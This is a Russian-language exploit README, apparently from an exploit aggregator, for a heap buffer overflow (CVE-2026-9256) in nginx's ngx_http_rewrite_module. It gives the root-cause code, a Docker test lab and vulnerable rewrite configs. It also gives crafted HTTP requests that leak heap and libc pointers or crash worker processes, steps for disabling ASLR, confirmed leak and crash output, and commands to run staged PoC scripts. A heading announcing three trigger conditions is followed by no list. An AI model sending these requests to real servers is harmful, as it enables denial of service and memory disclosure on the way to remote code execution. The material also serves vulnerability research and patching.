## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-3NOU9H-CVE-2026-9256-POC
# nginx ngx_http_rewrite_module Переполнение буфера в куче
## Описание
nginx Plus и nginx Open Source `ngx_http_rewrite_module` содержат уязвимость переполнения буфера в куче. Когда директива `rewrite` использует регулярное выражение с несколькими перекрывающимися группами захвата PCRE (например, `^/((.*))$`) и замену, ссылающуюся на несколько захватов (например, `$1&y=$2`), вычисление размера буфера статического пути занижает необходимый объём памяти, в результате чего фактическая запись превышает выделенный размер (Pool Slip).
Неавторизованный злоумышленник может вызвать это с помощью специально сформированного HTTP-запроса, что приводит к переполнению буфера в куче в рабочем процессе. Если ASLR отключён или может быть обойдён, возможно выполнение кода.
## Корневая причина
**Файл** : `src/http/ngx_http_script.c:1143-1155`
root@kitploit:~
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
// ОШИБКА: издержки экранирования считаются один раз для всего URI
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n]; // исходная длина
}
}
Каждый `$N` экранируется независимо во время копирования (`ngx_http_script.c:1397-1401`). Вложенные захваты приводят к двойному экранированию одной и той же подстроки, удваивая стоимость экранирования, но при выделении памяти это учитывается только один раз.
**Формула переполнения** (2-уровневая вложенность `((.+))`, длина URI = `Q` (`+` символов)):
root@kitploit:~
выделено = code_size + 2*Q + 2*(Q+1)
фактически = code_size + 2*(3*Q + 1)
переполнение = 2*Q (точно управляемо)
**Условия срабатывания** (требуются все три):
## Тестовая среда
### Требования
* Docker (с docker compose)
* Python 3 (без сторонних зависимостей)
### Структура каталогов
root@kitploit:~
.
├── env/
│ ├── Dockerfile # На основе nginx:1.31.0
│ ├── docker-compose.yml # Конфигурация контейнера (SYS_PTRACE)
│ ├── entrypoint.sh # ASLR включён (по умолчанию)
│ ├── entrypoint_aslr_off.sh # ASLR выключен (для libc_leak)
│ └── nginx.conf # Уязвимая конфигурация
├── heap_leak.py # PoC heap_leak
├── libc_leak.py # PoC libc_leak
├── crash_verify.py # PoC crash_verify
├── LICENSE
└── README.md
### Сборка и запуск
root@kitploit:~
cd env/
# Загрузить базовый образ (~200MB)
docker pull nginx:1.31.0
# Собрать и запустить
docker compose up --build -d
# Проверка
curl -s http://127.0.0.1:19321/
# Ожидается: ok
### Часто используемые команды
root@kitploit:~
# Просмотр логов nginx (информация о сбое)
docker compose logs -f
# Остановить и удалить
docker compose down
# Перезапустить (после сбоя)
docker compose restart
### ASLR
**Проверка текущего состояния** :
root@kitploit:~
cat /proc/sys/kernel/randomize_va_space
# 0 = выключен, 1 = частичный, 2 = полный
heap_leak и crash_verify работают независимо от ASLR. libc_leak требует отключения ASLR на хосте:
root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart
Альтернативно, отключите ASLR только для процесса nginx (без привилегий на хосте): скопируйте `entrypoint_aslr_off.sh` поверх `entrypoint.sh`, затем `docker compose up --build -d`.
> Примечание: контейнеры используют ядро хоста. `randomize_va_space` должен быть установлен на хосте.
## Подтверждённые результаты
### Утечка указателя кучи
**Требуемая конфигурация** :
root@kitploit:~
location /echo/ {
rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
internal;
default_type text/plain;
return 200 "x=$arg_x\ny=$arg_y\n";
}
**Механизм** : Pool Slip приводит к тому, что `ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t))` попадает в зону переполнения. Инициализированные поля движка скриптов (`e->ip`, `e->sp`, `e->request`) просачиваются в строку запроса переписанного URI и отображаются через `return 200 "$arg_y"`.
**Запрос** :
root@kitploit:~
GET /echo/%25%25%25%25%25A HTTP/1.0
**Подтверждённый результат** (nginx:1.31.0, ASLR включён):
root@kitploit:~
e->ip = 0x00006544dec82430 (массив кодов пула конфигурации)
e->sp = 0x00006544dec5ada0 (стек скриптов пула запросов)
e->request = 0x00006544dec58880 (структура запроса)
**Что утекает** : Необработанные указатели кучи в адресном пространстве рабочего процесса nginx.
**PoC** : `heap_leak.py`
* * *
### Утечка указателя диапазона libc
**Требуемая конфигурация** :
root@kitploit:~
location /leak2/ {
rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
internal;
proxy_pass http://backend; # должен быть доступен
add_header X-Leak-Y "$arg_y" always;
}
**Механизм** : proxy_pass запускает инициализацию вышестоящего сервера. Структуры вышестоящего сервера, содержащие указатели на библиотечные функции, размещаются в зоне переполнения. `add_header "$arg_y"` записывает необработанные байты в заголовок ответа.
**Запрос** :
root@kitploit:~
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0
**Подтверждённый результат** (nginx:1.31.0, ASLR выключен, request_pool_size=7920):
root@kitploit:~
leaked ptr = 0x00007fbfc3b7c346
**Что утекает** : Необработанный указатель в диапазоне `0x7f...` (область загрузки libc). Чтобы вычислить базовый адрес libc, прочитайте `/proc/<pid>/maps` на целевой системе и вычислите `leaked_ptr - libc_base`.
**Зависимость от ASLR** : Этот этап требует выключенного ASLR. Утекший указатель происходит из метаданных освобождённого блока (fd/bk → main_arena). При включённом ASLR смещение освобождённого блока варьируется, и небольшие переполнения не могут надёжно до него добраться.
**PoC** : `libc_leak.py`
* * *
> **Более простой альтернативный метод** : Использование режима `redirect` (`rewrite ^/r/((.*))$ http://.../?$1$2 redirect;`), заголовок `Location` напрямую выводит необработанные байты переполнения без проблем с кодировкой символов. Один запрос может привести к утечке указателей кучи (Q=10~450) или вызвать сбой (Q >= 500), без необходимости в proxy_pass или специальном pool_size.
* * *
### Сбой рабочего процесса (DoS)
**Требуемая конфигурация** :
root@kitploit:~
location /leak9/ {
rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
internal;
default_type text/plain;
return 200 "i=$arg_i\n";
}
**Механизм** : Вложенность 9 уровней даёт переполнение = 16 _Q (против 2_ Q для 2 уровней). При request_pool_size=7920, Q=123 выходит за границу блока пула, перезаписывая метаданные соседнего блока malloc. glibc обнаруживает повреждение и завершает рабочий процесс. Мастер автоматически перезапускает.
**Запрос** :
root@kitploit:~
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0
**Подтверждённый результат** (nginx:1.31.0, request_pool_size=7920):
root@kitploit:~
Q=122: нормальный ответ (переполнение=1952B)
Q=123: нет ответа, nginx error.log:
corrupted size vs. prev_size
worker process XX exited on signal 6 (core dumped)
Воспроизведено 5/5 раз.
**Вложенность vs pool_size** : N уровней дают переполнение = `(N-1)*2*Q`. Значение pool_size по умолчанию 4096 с 9 уровнями вложенности достаточно для сбоя. Больший pool_size требует меньшего количества уровней для заданного Q.
**PoC** : `crash_verify.py`
## Запуск PoC
root@kitploit:~
# Этап 1: Утечка указателя кучи
python3 heap_leak.py 127.0.0.1 19321
# Этап 2: Утечка указателя диапазона libc (требуется выключенный ASLR)
python3 libc_leak.py 127.0.0.1 19321
# Этап 3: DoS-сбой
python3 crash_verify.py 127.0.0.1 19321
## Отказ от ответственности
Данное доказательство концепции предоставлено исключительно для образовательных целей и целей авторизованного исследования безопасности. Несанкционированное использование запрещено.